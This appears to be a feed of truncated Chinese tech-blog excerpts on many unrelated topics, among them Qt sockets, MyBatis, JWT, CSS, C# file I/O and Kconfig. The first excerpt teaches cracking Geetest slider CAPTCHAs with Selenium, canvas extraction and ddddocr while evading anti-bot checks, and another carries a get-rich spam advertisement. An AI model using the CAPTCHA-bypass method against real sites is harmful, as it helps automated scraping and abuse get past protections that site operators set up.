爬虫技术-滑块验证码

滑块验证码 1. 滑块简介 注:重点是识别滑块缺口,测出需要拖动的距离 1.1 核心步骤 从服务器随机取一张图片,并对图片上的随机x,y坐标和宽高一块区域抠图; 根据步骤一的坐标和宽高,使用二维数组保存原图上抠图区域的像素点坐标; 根据步骤二的坐标点,对原图的抠图区域的颜色进行处理。 完成以上步骤之后得到两张图(扣下来的方块图,带有抠图区域阴影的原图),将这两张图和抠图区域的y坐标传到前台,前端在移动方块验证时,将移动后的x坐标传递到后台与原来的x坐标作比较,如果在阈值内则验证通过。 请求验证的步骤:前台向后台发起请求,后台随机一张图片做处理将处理完的两张图片的base64,抠图y坐标和token(token为后台缓存验证码的唯一token,可以用缓存和分布式缓存)返回给前台。 前台滑动图片将x坐标和token作为参数请求后台验证,服务器根据token取出x坐标与参数的x进行比较。 1.2 突破规则 这类验证码可以使用 selenium 操作浏览器拖拽滑块来进行破解,难点两个,一个如何确定拖拽到的位置,另一个是避开人机识别(反爬虫)。 首先我们先看看,确定滑块验证码需要拖拽的位移距离 有三种方式 人工智能机器学习,确定滑块位置通过完整图片与缺失滑块的图片进行像素对比,确定滑块位置边缘检测算法,确定位置 各有优缺点。人工智能机器学习,确定滑块位置,需要进行训练比较麻烦,所以我们主要看后面两种。 对比完整图片与缺失滑块的图片 1.3 验证码图片处理 站点:https://www.geetest.com/demo/ 使用浏览器技术提取滑块图片,进行处理 # 提取背景图 document.getElementsByClassName('geetest_canvas_bg geetest_absolute')[0].toDataURL('image/png') document.getElementsByClassName('geetest_canvas_fullbg geetest_fade geetest_absolute')[0].toDataURL('image/png') # 保存图片 import base64,io images = q_qt.split(',')[1] images = base64.b64decode(images) images = Image.open(io.BytesIO(images)) images.save('q_qg.png') 1.4 背景滑块识别 这里使用开源的技术ddddocr进行滑块的识别 import ddddocr def text_dis(): slide = ddddocr.DdddOcr(det=False, ocr=False) with open('bg.png', 'rb') as f: target_bytes = f.read() with open('zg.png', 'rb') as f: background_bytes = f.

python脚本出现“cannot import name”错误的一个可能原因

如果你也想赚钱,实现财务自由,但接触不到优质的人脉和资源,可以到公June浩:成长home,发"资源" ,就会看到我吐血整理的168条保姆级零基础吸金秘籍,跟着我一起亲历毕业5年、创业3年、从0到1000万的嗨翻全场的爆发式成长全过程。 在有些时候,python脚本在运行的时候会显示“cannot import name”错误,但是你反复检查了引入的模块以及模块内的内容,都是没问题的,但是还是不能正常地引入,这种情况又该如何解决呢? 像这种情况,如果不是环境问题的话,那就是文件名命名的问题。 比如说,你创建了一个名为“pyecharts.py”的文件,然后文档中有这样的语句: from pyecharts import Map 也就是说,你的py文件名和要引入的模块重名了,在你这个py文件中,找不到对应的子模块,就会显示一个“cannot import name”的错误。 那么,既然如此,解决方法也就很简单了,就是把你的py文件名改成和模块不重名的就可以了。

Qt Socket 通讯示例1

服务端代码 // QTcpServerHelp.h #pragma once #include <QThread> #include <QTcpServer> #include <QTcpSocket> #include <iostream> class QTcpServerHelp : public QThread { Q_OBJECT public: QTcpServerHelp(QObject *parent); ~QTcpServerHelp(); void ServerListen(); protected: void run(); private slots: void ServerNewConnection(); void ServerReadData(); void ServerWriteData(); void ServerDisconnect(); private: QTcpServer *m_pTcpServer; QTcpSocket *m_pTcpSocket; int m_nPort; static int m_nCount; }; // QTcpServerHelp.cpp #include "QTcpServerHelp.h" using namespace std; int QTcpServerHelp::m_nCount = 0; QTcpServerHelp::QTcpServerHelp(QObject *parent) { m_nPort = 8001; m_pTcpServer = new QTcpServer(); } QTcpServerHelp::~QTcpServerHelp() { if (NULL !

Qt Socket 通讯 readyRead 信号触发

1、在 QTcpSocket 缓存接收到新的数据时 readyRead 信号被触发,并不等同于发送端 write 函数调用一次。实际情况是发送端 write 的数据先到接收端系统的 Tcp/ip 协议栈中(也就是系统的IO缓冲区),然后再从此缓冲区到 QTcpSocket 程序的缓存中。readyRead 信号触发需要数据传到 QTcpSocket 缓存中。 2、当数据从系统缓冲区到 QTcpSocket 缓存时,readyRead 信号触发一次。如果此时 readyRead 槽函数还没及时执行,又有新的数据到来了,而且来了很多次(QTcpSocket缓存还没满的情况,满的情况下系统不再发数据给应用),那么这些所有的都将会只触发一次 readyRead 信号。 3、当数据从系统缓冲区到 QTcpSocket 缓存时,readyRead 信号触发一次。如果此时 readyRead 槽函数执行了,后续再来的新数据,将会触发新的 readyRead 信号。但这个 QTcpSocket 连接中,还没有响应的 readyRead 信号最多只有两个。 参考: https://blog.csdn.net/dengdew/article/details/79065608 https://www.cnblogs.com/xukai6/p/9668674.html

B端产品规划方法论

一、什么是产品规划? 产品规划是以市场环境、用户需求、公司战略、竞争状态、产品目标为根基,设计制定出可以满足用户和市场需求、具备行业竞争力、达成公司战略目标和产品目标的方向。 通过规划产品价值、设定产品目标、落实实施方案、明确落地动作、分析资源投入与产出,以及产品营销计划等事项。明确计划出产品的全生命周期事宜,并规划协调好相应的资源投入。使其可以按照计划中的方向和时间,实现产品的规划和目标。 做产品规划要具备终局思维,要能看透一件事情的本质,看到事情最后的“终局”。产品规划要基于终局结果去规划设计,从而才能明确方向朝着终局前进。“终局”并不是指事情真正的结局,毕竟我们没有预见未来的能力,“终局”是通过分析所确定的发展方向,或者说是自己能力认知中的终局状态。 “终局”并不是一成不变的,它可能会因我们的认知而变化,也可能因我们一步一步的前进而变化。所以,“终局”在变化,产品规划也会随着变化而变化。当然,能力越强,看到的“终局”就越确定,制定出来的规划就越稳定和正确。 产品规划可以分析长期规划和短期规划,长期规划偏重于长远的目标和价值设定,短期规划更多的是偏向产品的落地输出的动作和任务。 二、产品规划的价值? 闲时无计划,忙时多费力。产品规划很大价值是成为实施过程中的指路明灯和决策依据,让实施过程更加有计划的顺利进行,从容的面对未知的变化和困难。 在工作中遇到的很多问题,如果有明确和完善的产品规划,其实比较容易解决。但是如果没有产品规划,那么就很容易在不知不觉中,向不好、偏离目标的方向发展。 高质量的产品规划可以在以下方面起到很好的指导和帮助作用。 1.明确产品生命周期和阶段使命 让团队正确清晰的认识到产品生命周期的各个阶段,以及各阶段的使命和目标,使团队成员对于要做的事情能够具有共识。 2. 明确各阶段里程碑节点和目标 帮助团队明确各个阶段的里程碑,使团队成员能够清晰的知道各个里程碑阶段,应完成的关键任务有哪些?如果无法完成本里程碑的关键任务任务,会对前后里程碑产生什么关联影响。 团队成员如果能明确的知道自己负责的事情,出现异常后对他人会产生什么样的影响,也就会因为不想给别人造成困难,或不愿被团队指责而努力完成自己的目标。 3. 指导团队制定目标与动作 产品规划中会明确产品在各个阶段要达成什么目标,有了这个目标做指导。可以帮助团队成员制定各自的细分目标,以及制定完成目标所需要的动作和任务。通过产品规划团队成员也能知道他人的目标和规划,这样就能做到大家互知彼此目标,从而让成员之间能够更好的相互配合,而不是将目标仅仅局限于自己的小目标。 4. 给各阶段抉择,提供决策依据 在我们工作中遇到需要决策困难的问题时,应当参考产品规划制定的阶段目标和最终目标,并以此为基准和最终目的,这样能够更好的帮我们约束决策的条件,从而做出符合产品规划的决策。 5. 指引团队前进方向,避免迷失方向 在工作中难免会因为内部因素、外部因素、意外因素等情况,使团队的工作慢慢的偏离预期的方向。高质量的产品规划,可以在产品生命周期的各个阶段,给团队提供一盏一盏灯塔,指引团队向着最终的目标前行。 6. 增加团队凝聚力,让团队和谐有序的同力奋斗 在团队管理中遇到成员不和,也是需要管理者费心的问题,很多时候无论是成员与成员不和,还是成员与管理者不和,其原因都是由于认知不同导致的。 不同的人对于做的事情目标不一样,认知也是不一样的。这就会导致,即便大家都想努力的把事情做好,但是,也会由于各自的目标不同,导致出现分歧,甚至出现团队裂痕。好的产品规划能明确和约束大家的目标和方向,因此,也就能减少团队这方面的问题。 三、确定产品规划的前置信息 3.1 明确公司战略 公司战略规划应该是产品人重点关注的事项之一,但却常常被忽视。公司战略规划,就如同产品规划对产品目标和能力的价值一样,产品规划应该以公司战略规划为目标和导向。产品规划要满足或朝向公司战略的方向进行,而不是与之相左。 公司战略是企业发展的方向,战略初期是提出企业愿景和使命,明确约束公司的经营范围。战略中期,是明确业务和产品矩阵。最后则是明确战术和落地方案,以及资源配置。 公司战略会直接影响要做什么产品、不做什么产品,以及对产品的预期要求和资源配置。这就是做产品规划要关注的因素,产品规划要能满足企业战略对其的定位和要求,更要关注公司能给予的资源配置,以及在相应的资源下如何实现产品的目标。 3.2 明确产品核心价值 明确了产品的核心价值,才能规划正确的产品方向和落地计划。产品价值可以从两个维度来看,一个是对企业的价值,另一个是对用户的价值。 对企业的价值,其实就是公司战略对产品的期望与要求。例如,通过某产品实现公司在用户数量或数据方面的指标。当然,也可能是实现公司利润或品牌影响力的目标。有的产品则是为了提升公司的技术领先性或在资本等方面的价值。 产品对于企业的价值不同,对其要求也就会不同。例如,产品的目标是满足公司在用户数量和数据方面的要求,那么,对于产品的定位和规划,就要在覆盖用户群体这个因素上,有明确且能满足要求的要求和指标。例如,在需求的覆盖范围和满足度深度、用户付出的成本和门槛、产品的营销和销售渠道等方面的要求。 如果产品的价值在于提高公司技术的领先性,那么产品的侧重点则应该是在技术领先性方面的探索,而不是上述的一些要求。 产品是企业和用户之间交易和交互的一种载体,企业要与用户进行交易,就要能满足用户的需求,为其提供服务和价值。产品对用户的价值是产品赖以生存的根基,因此,产品规划就要在公司战略的框架下满足用户的需求、打造对用户的价值。对用户有价值是产品生存的根本要素,所以,产品规划的重要一步,就是明确产品对用户的价值所在。 3.3 明确用户需求价值 前面我们说过,产品对用户的价值是产品赖以生存的根基。那么,什么才算对用户有价值呢?毋庸置疑,满足用户的需求就是对用户有价值。但,并不是满足用户的需求越多,产品的价值就越大。 需求是有价值高低之分的 尤其是从产品角度来说。这是因为满足需求本身,会增加用户需要付出的精力、时间和财力等方面的成本。如何让用户付出更少的成本,获得更大的价值,则是产品成功的关键。 对于一个产品来说,它面对的是无数个用户,每个用户的需求是不一样的。所以,就需要精准的明确大部分用户的核心需求,实现大部分用户的价值最大化。不要因为少数的用户需求,让大部分用户都付出成本,尤其是对于硬件产品来说,这是更重要的因素。 在产品规划时,就要精准的评估和明确需求的价值及优先级,规划出产品需求的满足路线,从而才能保证产品是在正确的道路上前进。如何评估需求的价值?值得我们另起一篇文章深讨,本次就不过多赘述。明确的需求有助于团队的稳定 正确的评估和明确需求价值,对团队的和谐发展、团队凝聚力以及团队战斗力都是有重要影响的。需求的变动,通常会影响现有需求的开发进展和计划,给团队带来重复无用的工作量,这是任何一个团队成员都不希望发生的。所以,作为团队的上游岗位,有责任和义务保证正确的评估需求,以及正确的向下游岗位输出产品目标和计划。 程序员手撕产品经理的段子相信大家都有听说。虽然这是段子,但是错误的评估产品需求,导致下游岗位做无用、无价值的工作,使其团队出现分裂、丧失凝聚力和战斗力等情况是常有发生的。准确的评估需求,是减少需求变动对产品和团队产生负面影响重要措施。根据需求价值对产品进行排期 经过评估后,通常会选择一系列的需求进行满足,满足需求是需要付出时间和资源的。因此,就需要根据需求的价值大小规划优先级,分版本的实现需求。保障高价值的需求可以被优先满足,以及产品可以快速推向市场。 对于硬件产品来讲,需要慎重的评估和决策满足哪些需求?以及在哪个版本满足?因为硬件产品的迭代成本是非常高的,周期也是非常长的,所以要慎重! 3.4 明确产品定位 明确产品定位的过程,其实就是对产品做约束收敛的过程。通过明确产品定位,进一步的明确产品服务于哪些群体?以及通过什么来打动用户,使其能接受产品,成为你的用户? 用户群体定位: 用户群体定位是指,通过市场分析等手段,选择某种类型用户或某种需求的群体,作为产品要服务的用户群体。为什么要做用户群体的定位呢? 这是因为,每个客户群体都是有差异的,没有一种产品或服务能够满足所有群体。只有你的用户定位的足够准确,你的产品或服务针对性才能越强,才能更贴近用户的核心需求。目标市场容量: 目标市场容量是指,对未来目标群体的大小,以及其市场价值大小进行明确。目标市场容量是用户群体定位的一个关键因素,定位用户群体通常会选择市场容量大的群体。 当然,市场容量大也必然会遇到更多的竞争者,所以,也会有一些产品选择的是相对小众的用户群体。通过小众市场实现平稳进入,在小众市场进行深耕或慢慢的向更大的市场进发。产品竞争力: 产品竞争力是基于用户需求,和竞争产品能力进行综合分析。针对自有产品,所设计打造的突出特点或能力。 确定产品竞争力是产品经理的重要任务,同时也是产品规划中的重点。产品规划和产品需求都是需要根据产品竞争力进行设计的,通常明确的产品竞争力,也就是产品规划中的重要目标和关键里程碑。 波特五力分析模型,是产品竞争力常用的模型。此模型以竞争者的竞争能力、潜在竞争者进入的能力、替代品的替代能力、供应商的讨价还价能力与购买者的议价能力对产品进行竞争力分析,在这里我们就不过多赘述了。营销策略与定价: 不同的产品定位,对产品的营销策略、销售渠道以及产品定价都是不同的。如果是小众市场,通常产品的定价都会偏高,因此小众市场的用户群体少,如果产品的利润过低则可能无法养活公司。 同样,针对小众市场和大众市场的营销推广也存在差异的,小众市场的营销渠道通常会更加垂直,例如社群、社区等一些小众用户的聚集地。而大众市场的营销通常是较为容易接触的渠道,例如电梯、电视、网络等媒体。 3.5 明确产品具备的能力 产品能力就是基于用户需求,给出满足用户需求的解决方案,也可以称之为产品功能。

css实现一个正方形

一、固定宽高 宽高固定是最简单的情况了,只要设置对应的宽高就可以了 height: 100px; width: 100px; 二、利用vw vw是相对于视口的宽度。视口被均分为100单位的vw。 height: 10vw; width: 10vw; 三、利用padding-bottom padding设置为百分比时是相对于父元素宽度计算的,利用此特性就可以实现一个固定宽高比的div <div class="square"></div> .square { width: 100%; heigth: 0; padding-bottom: 100%; } 四、利用伪元素 + padding-bottom + absolute 利用padding-bottom确实可以实现正方形的效果,但是height需要设置成0,内部就无法很好的显示子元素。 这时候我们可以利用:after来撑高元素,再利用absolute实现一个正方形。 <div class="square"> <div class="content">正方形</div> </div> .square { width: 50%; position: relative; } .square:after { content: ""; display: block; padding-bottom: 100%; } .content { position: absolute; width: 100%; height: 100%; }

Mybatis-Plus自动填充功能@TableField(FieldFill)

Mybatis-Plus自动填充功能 原理1.实现元对象处理器接口:com.baomidou.mybatisplus.core.handlers.`MetaObjectHandler`2.注解填充字段 `@TableField(.. fill = FieldFill.INSERT)` 生成器策略部分也可以配置!3.自定义实现类 `MyMetaObjectHandler`4.注意事项 Mybatis-Plus 原理 1.实现元对象处理器接口:com.baomidou.mybatisplus.core.handlers.MetaObjectHandler 2.注解填充字段 @TableField(.. fill = FieldFill.INSERT) 生成器策略部分也可以配置! @Data public class BaseDO implements Serializable { @TableId private Long id; @TableField(value = "gmt_created", fill = FieldFill.INSERT) private LocalDateTime gmtCreated; @TableField(value = "gmt_modified", fill = FieldFill.INSERT_UPDATE) private LocalDateTime gmtModified; /** * 添加版本号,实现乐观锁 */ @Version @TableField(value = "version", fill = FieldFill.INSERT) private Integer version; } 3.自定义实现类 MyMetaObjectHandler /** * @author WongJie * @Description: mybatis-Plus自动填充功能 * @date 2022/9/9 11:40 */ @Slf4j @Component public class MyMetaObjectHandler implements MetaObjectHandler { @Override public void insertFill(MetaObject metaObject) { this.

SCS【7】单细胞转录组之轨迹分析 (Monocle 3) 聚类、分类和计数细胞

点击关注,桓峰基因 桓峰基因公众号推出单细胞系列教程,有需要生信分析的老师可以联系我们!首选看下转录分析教程整理如下: Topic 6. 克隆进化之 Canopy Topic 7. 克隆进化之 Cardelino Topic 8. 克隆进化之 RobustClone SCS【1】今天开启单细胞之旅,述说单细胞测序的前世今生 SCS【2】单细胞转录组 之 cellranger SCS【3】单细胞转录组数据 GEO 下载及读取 SCS【4】单细胞转录组数据可视化分析 (Seurat 4.0) SCS【5】单细胞转录组数据可视化分析 (scater) SCS【6】单细胞转录组之细胞类型自动注释 (SingleR) SCS【7】单细胞转录组之轨迹分析 (Monocle 3) 聚类、分类和计数细胞 今天来说说单细胞转录组数据的细胞轨迹分析,学会这些分析结果,距离发文章就只差样本的选择了,有创新性的样本将成为文章的亮点,并不是分析内容了! 前 言 单细胞转录组测序(scRNA-seq)实验使我们能够发现新的细胞类型,并帮助我们了解它们是如何在发育过程中产生的。Monocle 3包提供了一个分析单细胞基因表达实验的工具包。 Monocle 3可以执行三种主要类型的分析: 聚类、分类和计数细胞。单细胞RNA-Seq实验允许发现新的(可能是罕见的)细胞亚型。 构建单细胞轨迹。在发育、疾病和整个生命过程中,细胞从一种状态过渡到另一种状态。Monocle 3可以发现这些转变。 差异表达分析。对新细胞类型和状态的描述,首先要与其他更容易理解的细胞进行比较。Monocle 3包括一个复杂的,但易于使用的表达系统。 Monocle 3的主要更新 Monocle 3已被重新设计,用于分析大型、复杂的单细胞数据集。Monocle 3的核心算法具有高度的可扩展性,可以处理数百万个细胞。Monocle 3增加了一些强大的新功能,使生物体或胚胎规模的实验分析成为可能: 一个更好的结构化工作流程来学习发展轨迹; 支持UMAP算法初始化轨迹推断; 支持多根轨迹; 学习有循环或收敛点轨迹的方法; 自动分割细胞的算法,利用“近似图抽象”的思想来学习不相交或平行的轨迹; 一种新的基因表达轨迹依赖的统计测试; 将查询数据映射到引用上; 将注释从引用转移到查询数据集; 保存并加载Monocle对象和转换模型; fit_models的混合负二项分布; 一个可视化轨迹和基因表达的3D界面。 工作流程图如下: 软件安装 if (!requireNamespace("BiocManager", quietly = TRUE)) install.packages("BiocManager") BiocManager::install(version = "

vue3实现video控件的h5端进度条拖拽与跳转

代码: <template> <div class="video-box"> <!-- poster="static/video/covershu.png"--> <video ref="homeVideo" id="video" class="video" src="https://www.w3school.com.cn/i/movie.ogg" :playsinline="true" :webkit-playsinline="true" @canplay="getVideoInfo" @timeupdate="getCurrentInfo" @ended="handleEnd" @click="dispControls" loop :x5-video-player-fullscreen="true" x5-video-orientation="portraint" > <p>你的浏览器不支持video标签.</p> </video> <div id="controls" class="controls"> <!-- pause play --> <van-icon :name="iconName" class="play-btn" @click="playOrPause" color="white" /> <div class="slider"> <!-- 进度条容器 --> <div id="control" ref="control" class="control" @click="setProgress" @touchmove="controlMove" @touchend="controlEnd" > <!-- 进度条本条 --> <div class="progress" :style="{width: progressWidth + 'px' }" /> <!-- 滑块 --> <div v-if="progressWidth - 10 > 0" class="

h5 js调用移动端 相机 相册

效果: 点击从手机相机获取图片或打开相机拍摄图片, 触屏缩放移动 加载的图片到合适位置 注意这里的几个坑: 1 在红米K40上 出现了 微信浏览器点击,触发change事件后只能调到相册,无法弹出“相机或相册选择框”,而且无法选中相片的问题。 参考 前段H5开发,小米上用input File 为什么获取不到照片的数据? - 知乎 解决方法如下代码。 <!-- 写成 accept="image/png,image/jpeg,image/gif" 时 红米k40 微信浏览器无法打开相册 要写成 accept="image/*" --> <!-- <input type="file" id="image_uploads" multiple="" class="inputFile" accept="image/png,image/jpeg,image/gif" > --> <!-- <input type="file" id="image_uploads" multiple="" class="inputFile" accept="image/*" > --> 只不过解决后因为问题2 又都注释掉了。 2 在ios系统上 出现了 第一次点击,经常无法触发change事件的情况 具体现象:安卓手机上,微信浏览器、自带浏览器都没有问题。苹果手机上,第一次点击,有时候无法触发change事件(复现频率较高),第二次点击就好了。访问过一次,点击,好了后,刷新页面也不一定能复现问题。(坑死) 参考 https://stackoverflow.com/questions/47664777/javascript-file-input-onchange-not-working-ios-safari-only 解决方法: 将initNew() 方法里下面这两行注释掉 // this.input = document.querySelector('#image_uploads') // this.input.addEventListener('change', this.updateImageDisplay) 将 template 里的 <input> 元素注释掉 <!-- 写成 accept="

C#读写各类文件合集

C#文件操作合集 一、利用字节流与文件流读写txt、json文件1.以文件的方式进行操作2.以文件流的方式进行读写3.以二进制数据流的方式进行读写4.以文本流的方式进行读写5.JOSN文件的读写 二、kernel32读写ini文件三、XML文件的读写1.DataSet读取操作2.使用Json.Net转换读取3.使用XmlDocument读取4.使用XmlTextReader读取5.使用 Linq to Xml读取 四、EXCEL文件的读写1.以NPOI的方式读写2.以ClosedXML的方式读写3.以Spire.Xls的方式读写4.以EPPlus的方式读写 五、CSV文件的读取 一、利用字节流与文件流读写txt、json文件 1.以文件的方式进行操作 适用于小型文本全文的读取和写入。 首先创建C#窗体程序,然后写入以下代码: string filePath = @"D:\Test_C#\TestTxt.txt"; // 1、文件操作类(File) void FileDo() { string ret = ""; #region 读取 { //File.ReadAllBytes打开一个二进制文件,将文件的内容读入一个字节数组,然后关闭该文件。因为可以读取到每个字节 所以可以处理所有类型的文件 byte[] buffer1 = File.ReadAllBytes(filePath); //File.ReadAllText 打开一个文本文件,将文件中的所有文本读取到一个字符串中,然后关闭此文件。 string alltxt = File.ReadAllText(filePath); string[] lines = File.ReadAllLines(filePath); ret = Encoding.UTF8.GetString(buffer1); Console.WriteLine(ret); } #endregion #region 写入 { //覆盖式写入 byte[] buffer2 = Encoding.UTF8.GetBytes(ret+"\n黄河入海流"); //File.WriteAllBytes创建一个新文件,在其中写入指定的字节数组,然后关闭该文件。 如果目标文件已存在,则覆盖该文件。 File.WriteAllBytes(filePath, buffer2); //File.WriteAllText 创建一个新文件,向其中写入内容,然后关闭文件。 如果目标文件已存在,则覆盖该文件。 File.WriteAllText(filePath2, ret); } #endregion } 2.

C语言经典算法实例4:判断回文数

C语言经典算法实例4:判断回文数 一、问题描述二、算法实例编译环境三、算法实例实现过程3.1、包含头文件3.2、声明数组,并初始化3.3、声明相关变量3.4、声明函数3.5、 函数的定义3.6、遍历数组中的数字, 进行是否是回文数的判断 四、经典算法实例程序 完整代码4.1、main.h文件4.2、main.c文件 五、总结 一、问题描述 判断回文数 问题的描述 如下几点所示 “回文”是指正读反读都能读通的句子,它是古今中外都有的一种修辞方式和文字游戏,如“我为人人,人人为我”等。在数学中也有这样一类数字有这样的特征,成为回文数(palindrome number)。设n是一任意自然数,若将n的各位数字反向排列所得自然数n1与n相等,则称n为一回文数。例如,若n=1234321,则称n为一回文数;但若n=1234567,则n不是回文数。回文数就是顺着看和倒着看相同的数。判定正整数n 的 d 进制表示 形式是否是回文数。 注意: 偶数个的数字也有回文数124421小数没有回文数 其中,本文要使用的回文数如下功能所示。 回文数就是顺着看和倒着看相同的数。判定正整数n 的 d 进制表示 形式是否是回文数。 二、算法实例编译环境 本文C语言经典算法实例的编译环境,使用的是集成开发环境:Visual Studio 2019 Visual Studio 2019官网链接如下 Visual Studio 2019官网链接 Visual Studio 2019集成的开发环境的特点有 Visual Studio 2019默认安装Live Share代码协作服务。 帮助用户快速编写代码的新欢迎窗口、改进搜索功能、总体性能改进。 Visual Studio IntelliCode AI帮助。 更好的Python虚拟和Conda支持。 以及对包括WinForms和WPF在内的.NET Core 3.0项目支持等。 三、算法实例实现过程 3.1、包含头文件 包含头文件 代码如下所示 #pragma once // 包含头文件 #include <stdio.h> #include <stdlib.h> 将要用到的C语言头文件包含进来。 3.2、声明数组,并初始化 声明数组,并初始化 代码如下所示 int num[] = { 232,27,851, 12321}; // 定义输入数字变量的数组。 int scale[] = { 2,10,16 }; // 定义输入进制变量的数组。 定义输入数字变量的数组num。定义输入进制变量的数组scale。 3.

如何复制另一个PCB到当前的PCB中

1、到另一个PCB文件中,Ctrl+A全选中,选取一个原点,Ctrl+C 2. 到当前PCB中,采用特殊粘贴,快捷键EA,选中。建议选择“keep net name ”和duplicate designer"。最后点击“paste”。 这样的粘贴方式,才能保证PCB的铜皮也被复制。

Android View转换为Bitmap,实现截屏效果

前言 安卓设备一般都自带截图功能,但是用户体验有不好之处。就是会连带着状态栏📶、🔋、时间日期、其他不必要页面中信息,等等与用户想截屏的内容不符的信息也会被保存下来。通常,截图后用户会再次裁剪一次才能想把真正需求分享出去。 因此,咱们技术研发会遇到针对性的会做一些应用内的截屏功能。 一、getDrawingCache getDrawingCache()是其中一种截图手段,使用方便,主要针对应用内截图。 1、创建View fun getShareView() : View { val shareView: View = LayoutInflater.from(context).inflate(R.layout.share_layout, null) //内容... return shareView } 注意:一般大家实现思路都是点击事件里进行创建View绘制,很可能会遇到网络图片还未加载完的情况。因此,建议做延迟处理,或在点击前前置创建好。 2、测试和绘制 public static void layoutView(View v, int width, int height) { v.layout(0, 0, width, height); int measuredWidth = View.MeasureSpec.makeMeasureSpec(width, View.MeasureSpec.EXACTLY); int measuredHeight = View.MeasureSpec.makeMeasureSpec(height, View.MeasureSpec.EXACTLY); v.measure(measuredWidth, measuredHeight); v.layout(0, 0, v.getMeasuredWidth(), v.getMeasuredHeight()); } 如果不走这个方法,bitmap转换时会没有视图(黑屏情况)。 调用方法: // 设置视图的dp宽高 layoutView(share_view, dp2px(210), dp2px(180)); public static int dp2px(float dp) { float scale = Resources.

Token_JWT

Token 概述 Token 是服务端生成的一串字符串,以作为客户端进行请求的一个令牌,当第一次登录后,服务器生成一个 Token 便将此 Token 返回给客户端,以后客户端只需带上这个 Token 前来请求数据即可,无需再次带上用户名和密码。 优势 无状态、可扩展 在客户端存储的Tokens是无状态的,并且能够被扩展。基于这种无状态和不存储Session信息,负载负载均衡器能够将用户信息从一个服务传到其他服务器上。tokens自己hold住了用户的验证信息。 Tokens能够创建与其它程序共享权限的程序。 跨域 安全 请求中发送token而不再是发送cookie能够防止CSRF(跨站请求伪造)。即使在客户端使用cookie存储token,cookie也仅仅是一个存储机制而不是用于认证。不将信息存储在Session中,让我们少了对session操作。 Token 设置过期时间 JWT 概述 官网:https://jwt.io/ GitHub:https://github.com/auth0/java-jwt API:https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html JSON Web令牌(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于在各方之间安全地将信息作为 JSON 对象传输。 由于此信息是经过数字签名的,因此可以被验证和信任。 可以使用秘钥(使用 HMAC 算法)或使用 RSA 或 ECDSA 的公用/专用密钥对对 JWT 进行签名。 在前后端或者服务器进行交互的过程中,通过 JSON 形式作为 Web 应用中的令牌,以完成数据传输、加密、签名等相关处理操作。 JWT 认证流程 首先,前端通过 Web 表单将自己的用户名和密码发送到后端的接口。这一过程一般是一个 HTTP POST 请求。建议的方式是通过 SSL 加密的传输(https协议),从而避免敏感信息被嗅探。后端核对用户名和密码成功后,将用户的 id 等其他信息作为 JWT Payload (载荷),将其与头部分别进行 Base64 编码拼接后再生成一个签名,形成一个 JWT(Token)。形成的 JWT 就是一个形同 111.ZzZz.xxx 的字符串。后端将 JWT 字符串作为登录成功的返回结果返回给前端。前端可以将返回的结果保存在 localStorage 或 sessionStorage 上,退出登录时前端删除保存的 JWT 即可。前端在每次请求时将 JWT 放入 HTTP Header 中的 Authorization 位。(解决XSS和XSRF问题)后端检查是否存在,如存在验证 JWT 的有效性。例如,检查签名是否正确;检查 Token 是否过期;检查 Token 的接收方是否是自己(可选)。验证通过后后端使用 JWT 中包含的用户信息进行其他逻辑操作,返回相应结果。 JWT 的优势 简洁(Compact):可以通过URL,POST参数或者在HTTP header发送,因为数据量小,传输速度也很快自包含(Self-contained):负载中包含了所有用户所需要的信息,避免了多次查询数据库因为Token是以 JSON 加密的形式保存在客户端的,所以 JWT 是跨语言的,原则上任何web形式都支持。不需要在服务端保存会话信息,特别适用于分布式微服务。 JWT 的组成【重点】 JWT 有3个组成部分,每个部分之间用 .

kconfig常用语法,入门必看

kconfig 1. kconfig简单介绍 Kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个Kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config 2. kconfig和makefile关系 makefile用来配置编译源文件的方法,kconfig可以说是以界面的方式来配置决定那些makefile文件需要编译。 看kconfig和makefile和源文件如何关联起来 makefile obj-$(CONFIG_LCD_TRULY_TFT240240_2_E) += truly_tft240240_2_e.o truly_tft240240_2_e:源文件名字 CONFIG_LCD_TRULY_TFT240240_2_E:CONFIG_是前缀,重点是后面的LCD_TRULY_TFT240240_2_E,kconfig通过LCD_TRULY_TFT240240_2_E关联到makefile,从而找到truly_tft240240_2_e,然后进行编译。 kconfig config LCD_TRULY_TFT240240_2_E tristate "SLCD TRULY TFT240240-2-E with control IC st7789s (240x240)" depends on BACKLIGHT_CLASS_DEVICE default n 这个我们只用看config config LCD_TRULY_TFT240240_2_E ,其他先不管。LCD_TRULY_TFT240240_2_E和makeflie的CONFIG_LCD_TRULY_TFT240240_2_E中的LCD_TRULY_TFT240240_2_E对应。 然后可以通过make menuconfig 查看结果 在菜单用按 / 可以搜索 这样通过空格键选中就可以选中编译的方式,如不编译、编译到内核 编译到模块。 以上就是基本的使用流程 ###常见命令 kconfig的基本用法 config条目(entry) config TMPFS_POSIX_ACL bool “Tmpfs POSIX Access Control Lists” depends on TMPFS select GENERIC_ACL help POSIX Access Control Lists (ACLs) support permissions for users and

Mybatis 缓存配置 ,如何禁用缓存与一些细节

一、一级缓存不做探讨,这里主要作二级缓存配置: ①.在MyBatis中,配置二级缓存首先要在Mybatis-config.xml 配置支持缓存语句: <settings> <!--缓存,默认也是开启--> <!--有些二级缓存可能用到序列化技术,所以entity类要Serializable接口--> <setting name="cacheEnabled" value="true"/> </settings> ②.配置完毕之后,找到相对应想要做二级缓存的XXMapper.xml文件,在<mapper></mapper>中进行如下配置: <cache eviction="FIFO" flushInterval="60000" size="512" readOnly="true"/> 配置中参数信息含义如下: eviction : 缓存的回收策略 flushInterval : 时间间隔(毫秒) size : 引用数目,缓存对象数目和运行环境数目,默认1024 readOnly : 是否只读 其中,对于eviction的回收策略,有其四种: 1. LRU - 最近最少使用:移出最长时间不被使用的对象 (默认); 2. FIFO - 先进先出(队列):按对象进入缓存的顺序移除 ; 3. SOFT - 软引用: 移除基于垃圾回收器状态和软引用规则的对象 ; 4. WEAK - 弱引用:更积极移除基于垃圾收集器状态和引用规则的对象 。 二、如何禁用缓存? 1.给mybatis-config.xml添加如下属性时,将全局关闭缓存; <settings> <setting name="cacheEnabled" value="false"/> </settings> 2.不为不需要进行缓存的Mapper.xml添加<cache/>; 3.给对应SQL语句进行设置局部禁用缓存(userCache) 例: <select id="getSomeThing" parameterType="Integer" resultType="Integer" useCache="false"> SELECT * FROM `table` </select> 注:

kafka消费组代码的实现[golang版]

